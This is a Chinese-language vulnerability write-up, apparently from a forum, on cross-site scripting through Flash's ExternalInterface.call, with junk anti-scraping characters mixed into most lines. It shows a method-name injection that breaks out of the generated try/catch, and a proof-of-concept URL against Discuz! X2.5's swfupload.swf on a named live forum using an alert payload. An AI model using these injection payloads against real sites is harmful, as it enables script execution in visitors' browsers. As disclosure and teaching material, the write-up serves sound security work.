上回我们说
+ Q6 f, x U/ s3 z; \9 E
0 D: Z6 e! l7 v8 i, N% i% [! l1 Pflash.external.ExternalInterface.call($methodName, $parameter)
) Y6 B/ K$ s+ Y( _. Q在浏览器中执行的是
2 x \5 J' o& S V6 b2 Z
* B) ^. R+ l1 t% A7 Wtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
" @) o! d P& _4 v( N对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
0 h3 E5 ?8 B( n/ z5 R/ Q
& [( C6 N6 `) C- ~- a/ z/ l9 Mflash.external.ExternalInterface.call("object."+$methodName, $parameter)6 \* u/ e# I4 y2 E8 g& b
$methodName = a())}catch(e){alert(/xss/)}//- w2 D+ I* J) i
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
* P( D1 t: R9 L7 j4 {# \3 z( L2 C$ M+ m; q
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
6 t0 t- u: x7 P8 l2 B# y* ~
% F G4 j0 V! w/ c1 @! \7 E这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
. o8 U8 {" ^% X& f: \( l: I杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
' }0 u, t q6 U1 a- U9 ]8 i9 S! y, c5 Z* n+ n' h+ Z, `# v! z8 B4 i1 ?
. a! G6 i, N1 {/ Z7 n' a/ k; `! C( j* n
漏洞文件:upload\static\image\common\swfupload.swf
% v, b* z( B4 C" w, q% {2 S5 x, X& l" s, z, R
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
! O8 F$ B2 Z2 W( K) L
: Y* y2 x- Q. ^9 f# ^5 H. U$ m, V/ y8 o: [9 A' |% _
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}/// F$ d e8 F4 m0 D0 L, r4 U4 k
( c) l3 U! G2 v, E4 I' E3 K( x1 `) m- @$ k( H
|